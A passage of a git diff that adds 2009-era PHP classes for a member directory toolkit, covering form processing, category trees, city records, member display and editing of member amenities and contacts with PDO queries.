+            $attributes,
+            $trackSubmit
+        );
+
+        $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Configure the default values for the form
+        *
+        * Since each form is different, you will need to redefine this
+        * method inside of each subclass and create your own rules
+        * based on your forms elements.
+        *
+        * @return void
+        * @access public
+        */
+       abstract protected function configureDefaults();
+
+       //      }}}             
+       //      {{{ configureFilters()
+
+       /**
+        * Defines all filters used on form elements when submitted
+        *
+        * Most times this function won't need to be overridden.
+        *
+        * @return void
+        * @access public
+        */
+       protected function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+
+       //      {{{ getSetParameters()
+
+       /**
+     * get a string of sql query parameters
+     * 
+     * @param array $values parameters to include
+     * 
+     * @return string sql query parameters
+        * @access protected
+        */
+       protected function getSetParameters($values)
+       {
+               $params = array_keys($values);
+               $length = count($params);
+               for ($i = 0; $i < $length; ++$i) {
+                       $bindParams .= "{$params[$i]} = :{$params[$i]}";
+            if ($i < ($length - 1)) {
+                $bindParams .= ', ';
+            }
+               }
+               return $bindParams;
+       }
+
+       //      }}}
+       //      {{{ getDataType()
+
+       /**
+     * Get the data type of the element
+     * 
+     * @param string $k element name
+     *
+     * @return element type in the DB
+        * @access protected
+        */
+       protected function getDataType($k)
+       {
+               $metaData = $this->tableMetaData[$k];
+               if ($metaData == 'integer') {
+                       return PDO::PARAM_INT;
+               } else if ($metaData == 'boolean') {
+                       return PDO::PARAM_BOOL;
+               } elseif ($metaData == 'double precision') {
+                       return null;
+               } else {
+                       return PDO::PARAM_STR;
+               }
+       }
+
+       //      }}}
+
+       //      {{{ isEdit()
+
+       /**
+        * Determines if we are editing an object or not
+        *
+        * If we are ever editing an object, member, category, etc...
+        * There will be the objects DB ID passed along in the url under the
+        * id key.  If we can find this then we know we're editing, if not
+        * then we are adding.
+        *
+        * @return boolean if the key id is set in the $_GET array
+        * @access public
+        */
+       public function isEdit()
+       {
+               return isset($_GET['id']);
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+    /**
+     * clean unneeded form elements out of the submitted values array
+     * 
+     * @param array $values QuickForm submitted elements
+     *
+     * @return boolean Result of insert/update functions
+     * @access public
+     */
+       public function processData($values)
+       {
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       case 'MAX_FILE_SIZE' :
+                               unset($values[$k]);
+                               break;
+
+                       default :
+                if (substr($k, -4) == '_rmv') {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+        $function = is_numeric($_GET['id']) ? 'updateData' : 'insertData';
+        return $this->$function($values);
+       }
+
+       //      }}}
+
+       //      {{{ setupElements()
+
+       /**
+        * Add the form elements defined in your class to a QuickForm
+        *
+        * Handles adding singleton elements as well as grouped elements.
+        * If added elements fail to correctly add to the form, the script
+        * should die gracefully, telling the user there was a problem.
+        *
+     * @param array $elements element definitions to setup
+     *                        
+        * @return void
+        * @throws HTML_QuickForm_Error error raised from QuickForm class.
+        * @access protected
+        */
+       protected function setupElements($elements)
+       {
+               $this->formElements = $elements;
+               foreach ($elements as $e) {
+                       if ($e['type'] != 'group') {
+                               try {
+                                       $source =& $this->addElement($e['type'], $e['name'], $e['display'], $e['opts'], $e['att'], $e['val']);
+                               } catch (HTML_QuickForm_Error $e) {
+                                       Toolkit_Common::dieGracefully(null, $e);
+                               }
+                               if ($e['type'] == 'advmultiselect') {
+                                       $source->setLabel($e['labels']);
+                               }
+                               if ($e['name'] == 'categories') {
+                                       $res = $source->loadArray($this->categories);
+                                       if (PEAR::isError($res)) {
+                                               Toolkit_Common::dieGracefully(null, $res);
+                                       }
+                               }
+                               if ($e['type'] == 'header') {
+                                       $this->formHeaders[$e['display']] = $e;
+                               }
+                       } elseif (is_array($e['group'])) {
+                               unset($field);
+                               foreach ($e['group'] as $g) {
+                                       $field[] =& HTML_QuickForm::createElement($g['type'], $g['name'], $g['display'], $g['opts'], $g['att'], $g['val']);
+                               }
+                               $source =& $this->addGroup($field, $e['name'], $e['label'], $e['seperator'], $e['appendName']);
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRenderers()
+
+       /**
+     * Set up the rendering engine templates
+     *
+     * @return void
+        * @access protected
+        */
+       protected function setupRenderers()
+       {
+               $renderer =& new HTML_QuickForm_Renderer_Object(true);
+
+               $this->accept($renderer);
+
+               $this->template =& new HTML_Template_Flexy($this->flexyOptions);
+
+               //      Make the view a copy of the $this object
+               //      That way we have access to call functions in
+               //      this class from within the template.
+               $this->view = $this;
+               $this->view->form = $renderer->toObject();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form for viewing
+        *
+        * This function validates the form if needed, and if it successfully
+        * validates attempts to insert or update the data record.
+        * If it is unsuccessful, it will return an error to the user
+        * informing them of what went wrong.
+        *
+        * @param string $listPage The page the header should redirect
+        *                                                 to on successful insert or update.
+        *
+        * @return string The compiled and filled form template.
+        * @access public
+        */
+       public function toHtml($listPage = 'index.php')
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+               $this->setupRenderers();
+
+               if ($this->validated) {
+                       $processed = $this->process(
+                array(&$this, 'processData'),
+                $this->mergeFiles
+            );
+                       if ($processed) {
+                               header("Location: $listPage");
+                       } else {
+                $this->validated = false;
+                               $errorMsg = "There was an unexpected error. Please try again later.";
+                       }
+               }
+
+               return $errorMsg . $this->template->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+       //      {{{ validated()
+
+       /**
+        * Returns form message from validation attempts
+        *
+     * @return void
+        * @access public
+        */
+       public function validated()
+       {
+               if ($this->validated) {
+                       return $this->successMsg;
+               } elseif ($this->isSubmitted()) {
+                       return $this->errorMsg;
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/CategoryTree.php b/Toolkit/Members/CategoryTree.php
new file mode 100644 (file)
index 0000000..4af2366
--- /dev/null
@@ -0,0 +1,77 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Short description for file
+ * 
+ * Long description (if any) ...
+ * 
+ * PHP version 5
+ * 
+ * The license text...
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: CategoryTree.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+
+/**
+ * Description for require_once
+ */
+require_once 'Tree.php';
+
+/**
+ * Short description for class
+ * 
+ * Long description (if any) ...
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_CategoryTree extends Toolkit_Tree
+{
+       //      {{{ addChildren()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+    protected function addChildren()
+    {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM category
+                                WHERE parent_id = :parent
+                                ORDER BY name";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':parent', $this->catid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $this->children[] = new Toolkit_Members_CategoryTree($row['category_id'],
+                                                                                                                                        $row['name'],
+                                                                                                                                        $this->dbh,
+                                                                                                                                        $row['parent_id']);
+                       }
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/City.php b/Toolkit/Members/City.php
new file mode 100644 (file)
index 0000000..08ca33c
--- /dev/null
@@ -0,0 +1,412 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * City Object
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: City.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Handle City functionality
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: City.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://devsys2.gaslightmedia.com/demo.gaslightmedia.com/admin/members.php?cat=6
+ */
+class Toolkit_Members_City
+{
+       //      {{{      properties
+
+    protected $name;
+    protected $region;
+    protected $state;
+    protected $image;
+    protected $description;
+
+    /**
+     * Table name in DB
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'city';
+
+    /**
+     * Image Server
+     * @var    object
+     * @access protected
+     */
+    protected $is;
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO $pdo PHP Data Object
+        * 
+        * @access public
+        */
+       public function __construct(PDO $pdo)
+       {
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+    //  {{{ createNewCity()
+
+    /**
+     * Creates a new city in the DB
+     *
+     * @return void
+     * @access public
+     */
+    public function createNewCity()
+    {
+        //  Minimum required fields to have an array
+        if (!is_numeric($this->state) || empty($this->name)) {
+            return false;
+        }
+
+        if ($this->_isDuplicate()) {
+            return PEAR::raiseError('This city already exists');
+        }
+
+        $values = array(
+            'city_name' => $this->name,
+            'state_id' => $this->state,
+            'region_id' => $this->region,
+            'description' => $this->description,
+            'image' => $this->image,
+        );
+
+        $sql = Toolkit_Common::createSQLInsert(
+            $this->tableName,
+            array_keys($values)
+        );
+
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ deleteCity()
+
+    /**
+     * delete a city from the DB
+     *
+     * @param integer $id city record to delete
+     *
+     * @return void
+     * @access public
+     */
+    public function deleteCity($id)
+    {
+        if (!is_numeric($id)) {
+            return false;
+        }
+
+        $sql = "
+            DELETE FROM {$this->tableName}
+             WHERE city_id = :id";
+
+        try {
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+            return $stmt->execute();
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ getName()
+
+    /**
+     * get the name of the city
+     *
+     * @return void
+     * @access public
+     */
+    public function getName()
+    {
+        return $this->name;
+    }
+
+    //  }}}
+    //  {{{ getState()
+
+    /**
+     * get the state the city belongs in
+     *
+     * @return void
+     * @access public
+     */
+    public function getState()
+    {
+        return $this->state;
+    }
+
+    //  }}}
+    //  {{{ getRegion()
+
+    /**
+     * get the Region the city belongs in
+     *
+     * @return void
+     * @access public
+     */
+    public function getRegion()
+    {
+        return $this->region;
+    }
+
+    //  }}}
+    //  {{{ getImage()
+
+    /**
+     * get the city image
+     *
+     * @param string $uri URI location to find the image at
+     *
+     * @return string file name of image, or html img tag of image
+     * @access public
+     */
+    public function getImage($uri = null)
+    {
+        if (is_null($uri)) {
+            return $this->image;
+        } else {
+            $path = $uri . $this->image;
+            $imageSize = $this->is->getImageSize($path);
+            $img = "<img {$imageSize[2]} src=\"{$path}\">";
+            return $img;
+        }
+    }
+
+    //  }}}
+    //  {{{ getDesc()
+
+    /**
+     * get the description of the city
+     *
+     * @return string city description
+     * @access public
+     */
+    public function getDescription()
+    {
+        return $this->description;
+    }
+
+    //  }}}
+
+    //  {{{ _isDuplicate()
+
+    /**
+     * get the description of the city
+     *
+     * @param integer $ignore city records to not include in count
+     *
+     * @return string city description
+     * @access private
+     */
+    private function _isDuplicate($ignore = null)
+    {
+        $sql = "
+            SELECT count(*) AS total
+              FROM {$this->tableName}
+             WHERE city_name = :name
+               AND state_id = :state";
+
+        if (is_numeric($ignore)) {
+            $sql .= " AND city_id != $ignore";
+        }
+
+        try {
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':name', $this->name, PDO::PARAM_STR);
+            $stmt->bindParam(':state', $this->state, PDO::PARAM_INT);
+            $stmt->execute();
+            $stmt->bindColumn('total', $total);
+            $stmt->fetch();
+
+            return (bool) $total;
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ setName()
+
+    /**
+     * set the name of the city
+     *
+     * @param string $name City Name
+     *
+     * @return void
+     * @access public
+     */
+    public function setName($name)
+    {
+        $this->name = $name;
+    }
+
+    //  }}}
+    //  {{{ setState()
+
+    /**
+     * set the state the city belongs in
+     *
+     * @param integer $state state id from db
+     *
+     * @return void
+     * @access public
+     * @throws PEAR_Error
+     */
+    public function setState($state)
+    {
+        if (!is_numeric($state)) {
+            return PEAR::raiseError('Invalid state id');
+        }
+
+        $this->state = $state;
+    }
+
+    //  }}}
+    //  {{{ setRegion()
+
+    /**
+     * set the Region the city belongs in
+     *
+     * @param integer $region region id from db
+     *
+     * @return void
+     * @access public
+     * @throws PEAR_Error
+     */
+    public function setRegion($region)
+    {
+        if (!is_numeric($region)) {
+            return PEAR::raiseError('Invalid region id');
+        }
+        $this->region = $region;
+    }
+
+    //  }}}
+    //  {{{ setImage()
+
+    /**
+     * set the city image
+     *
+     * @param string $image the city image
+     *
+     * @return void
+     * @access public
+     */
+    public function setImage($image)
+    {
+        $this->image = $image;
+    }
+
+    //  }}}
+    //  {{{ setImageServer()
+
+    /**
+     * set the image server to use
+     *
+     * @param Toolkit_Image_Server $is Image Server Instance
+     *
+     * @return void
+     * @access public
+     */
+    public function setImageServer(Toolkit_Image_Server $is)
+    {
+        $this->is = $is;
+    }
+
+    //  }}}
+    //  {{{ setDesc()
+
+    /**
+     * set the description of the city
+     *
+     * @param string $desc City Description
+     *
+     * @return void
+     * @access public
+     */
+    public function setDescription($desc)
+    {
+        $this->description = $desc;
+    }
+
+    //  }}}
+
+    //  {{{ updateCity()
+
+    /**
+     * update a city in the DB
+     *
+     * @param integer $id record id to update
+     *
+     * @return void
+     * @access public
+     */
+    public function updateCity($id)
+    {
+        //  Minimum required fields to have an array
+        if (!is_numeric($this->state) || empty($this->name)) {
+            return false;
+        }
+
+        if ($this->_isDuplicate($id)) {
+            return PEAR::raiseError('This city already exists');
+        }
+
+        $values = array(
+            'city_name' => $this->name,
+            'state_id' => $this->state,
+            'region_id' => $this->region,
+            'description' => $this->description,
+            'image' => $this->image,
+        );
+
+        $sql = Toolkit_Common::createSQLUpdate(
+            $this->tableName,
+            array_keys($values),
+            array('city_id = :city_id')
+        );
+
+        $values['city_id'] = $id;
+
+        try {
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/Display.php b/Toolkit/Members/Display.php
new file mode 100644 (file)
index 0000000..1428160
--- /dev/null
@@ -0,0 +1,187 @@
+<?php
+
+/**
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Display.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+require_once 'HTML/Select.php';
+require_once 'HTML/Template/Flexy.php';
+require_once 'Members/SearchList.php';
+require_once 'Members/UserSearchForm.php';
+
+/**
+ * Handles Displaying member lists and profile pages
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Display
+{
+       //      {{{     properties
+
+       /**
+        * The Database Handler
+        *
+        * @var object
+        * @access protected
+        */
+       public $dbh;
+
+       /**
+        * Search radius distance
+        * @var integer
+        * @access protected
+        */
+       protected $radius = 35;
+
+       /**
+        * Page catid
+        *
+        * @var integer
+        * @access private
+        */
+       private $_catid;
+
+       /**
+        * Number of records to show per page
+        *
+        * Set to NULL to show all records on one page.
+        *
+        * @var integer
+        * @access protected
+        */
+       protected $limit = 10;
+
+       /**
+        * The list of members
+        *
+        * @var string
+        * @access protected
+        */
+        protected $membersList;
+
+       /**
+        * Whether to randomize the list of members or not
+        *
+        * @var bool
+        * @access protected
+        */
+       protected $randomize = false;
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     * 
+     * @param PDO $pdo PHP Data Object to use for DB calls
+     * 
+     * @return void  
+     * @access public
+     */
+       public function __construct(PDO $pdo)
+       {
+               $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+       //      {{{     hideUserSearchForm()
+
+       /** 
+        * Get the status of displaying the search form for a page
+        *
+        * @return bool true if yes, false otherwise.
+        * @access public
+        */
+       public function hideUserSearchForm()
+       {
+               try {
+                       $sql = "
+                               SELECT CASE
+                                          WHEN no_search_form THEN 1 ELSE 0
+                                          END as no_search_form
+                                 FROM bus_category
+                                WHERE id = :catid";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':catid', $this->_catid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $row = $stmt->fetch();
+                       return $row['no_search_form'];
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+    //  {{{ setCatId()
+
+    /**
+     * Set the catid for the page
+     *
+     * @param integer $catid page id from db
+     *                        
+     * @return void
+     * @access public 
+     * @throws PEAR Error on invalid member id
+     */
+    public function setCatId($catid)
+    {
+        if (is_numeric($catid) && ctype_digit((string) $catid)) {
+            $this->_catid = $catid;
+        } else {
+            $this->_catid = null;
+            throw new PEAR_Exception('Invalid catid');
+        }
+    }
+
+    //  }}}
+       //      {{{     setMemberSections()
+
+    /**
+     * Sets an array with all the member category types assigned to a page
+     * 
+        * Collects all member categories assigned to a page from the 
+        * admin Toolbox.
+     * 
+     * @return void     
+     * @access public
+     */
+       public function setMemberSections()
+       {
+               try {
+                       $sql = "
+                               SELECT count(*) AS total, bc.category
+                                 FROM bus_cat_member bcm, bus_category bc
+                                WHERE bcm.catid = :catid
+                                  AND bcm.catid = bc.id
+                                GROUP BY bc.category";
+                       
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':catid', $this->_catid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $row = $stmt->fetch();
+                       if ($row['total']) {
+                               $this->memberSections[$this->_catid] = $row['category'];
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditMemberAmenities.php b/Toolkit/Members/EditMemberAmenities.php
new file mode 100644 (file)
index 0000000..e2ca8ea
--- /dev/null
@@ -0,0 +1,301 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditMemberAmenities.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Short description for class
+ * 
+ * Long description (if any) ...
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_EditMemberAmenities
+       extends Toolkit_Members_EditMemberInfo implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_amenity';
+
+       /**
+        * The name of the template used to render the business info form.
+        *
+        * @var string
+        * @access protected 
+        */
+       protected $formTemplate = 'editAmenities.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        * @see    Toolkit_Members_EditMemberInfo
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $pdo,
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for elements in the form.
+        *
+        * @return array form element default values
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               try {
+            $sql = "
+              SELECT *
+                FROM {$this->tableName}
+                          WHERE member_id = :id ";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $defaults[$row['amenity_id']] = true;
+                       }
+                       $this->setupDefaults($defaults);
+                       return $defaults;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the element definitions to use on the form.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+        //  Element definitions
+        $e = array();
+               $amenities = $this->getAmenities();
+               $half = floor(count($amenities) / 2);
+               $i = 0;
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'row1'
+        );
+               while ($i < $half) {
+                       $e[] = array(
+                'type' => 'checkbox',
+                'req' => false,
+                'name' => $amenities[$i]['amenity_id'],
+                'display' => $amenities[$i++]['amenity_name']
+            );
+               }
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'row2'
+        );
+               while ($i < count($amenities)) {
+                       $e[] = array(
+                'type' => 'checkbox',
+                'req' => false,
+                'name' => $amenities[$i]['amenity_id'],
+                'display' => $amenities[$i++]['amenity_name']
+            );
+               }
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Wrapper function to handle setting up the form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureRules();
+        $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureRules()
+       {
+               $this->setupRules();
+       }
+
+       //      }}}
+
+       //      {{{ getAmenities()
+
+       /**
+        * Gets all the amentities
+        *
+        * @return $a array The array of amenities from the DB.
+        * @access protected
+        */
+       protected function getAmenities()
+       {
+        $a = array();
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM amenity
+                                ORDER BY amenity_name";
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $a[] = $row;
+                       }
+               } catch (PDOException $e) {
+                       $this->handleError($e);
+               }
+               return $a;
+       }
+
+       //      }}}
+
+       //      {{{ insertData()
+
+    /**
+        * Create a new record in the database from the data on the form
+     * 
+        * @param array $values Form values
+     *
+        * @return boolean False on error, True otherwise.
+     * @access public
+     */
+       public function insertData($values)
+       {
+               try {
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE member_id = :id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       $params = implode(', ', array_keys($values));
+                       $bindParams = ':' . implode(', :', array_keys($values));
+                       $sql = "
+                               INSERT INTO {$this->tableName} (member_id, amenity_id)
+                               VALUES (:member_id, :aid)";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       foreach ($values as $k => $v) {
+                               $stmt->bindParam(':aid', $k, PDO::PARAM_INT);
+                               $stmt->execute();
+                       }
+
+            $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+            $cache->remove("Member_Profile-{$_GET['id']}", 'Dynamic');
+
+                       return true;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $values Parameter description (if any) ...
+     *
+     * @return array     Return description (if any) ...
+     * @access public
+     */
+       public function processData($values)
+       {
+               Toolkit_Common::getTableMetaData();
+
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       default :
+                               if (preg_match('/^.+_rmv$/', $k)) {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+               return $this->insertData($values);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/EditMemberContacts.php b/Toolkit/Members/EditMemberContacts.php
new file mode 100644 (file)
index 0000000..225e798
--- /dev/null
@@ -0,0 +1,728 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditMemberContacts.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Handle associating contacts along with member records
+ *
+ * Controls all aspects of creating and rendering the form used to manipulate
+ * the business contacts. Form is not rendered until the user is added into
+ * the Database.
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ * @see       Toolkit_Members
+ */
+class Toolkit_Members_EditMemberContacts
+       extends Toolkit_Members_EditMemberInfo implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data of the files
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_contacts';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'editContacts.tpl';
+
+       /**
+        * Message to return if the form successfully submits
+        *
+        * @var string
+        * @access protected
+        */
+    protected $successMsg = '
+        <div id="form-success-top">
+            You successfully updated your contact.
+        </div>';
+       
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        * @see    Toolkit_Members_EditMemberInfo
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $pdo,
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+       }
+
+       //      }}}
+
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for elements in the form.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               try {
+                       if (isset($_GET['cid'])) {
+                               $sql = "
+                                       select * from {$this->tableName} where id = :cid";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':cid', $_GET['cid'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $defaults['id']                 = $row['id'];
+                               $defaults['title']              = $row['title'];
+                               $defaults['fname']              = $row['fname'];
+                               $defaults['lname']              = $row['lname'];
+                               $defaults['email']              = $row['email'];
+                               $defaults['phone']              = $row['phone'];
+                               $defaults['send_mail']  = $row['send_mail'];
+                       }
+            $sql = "
+              SELECT *, fname || ' ' || lname AS name,
+                     CASE send_mail
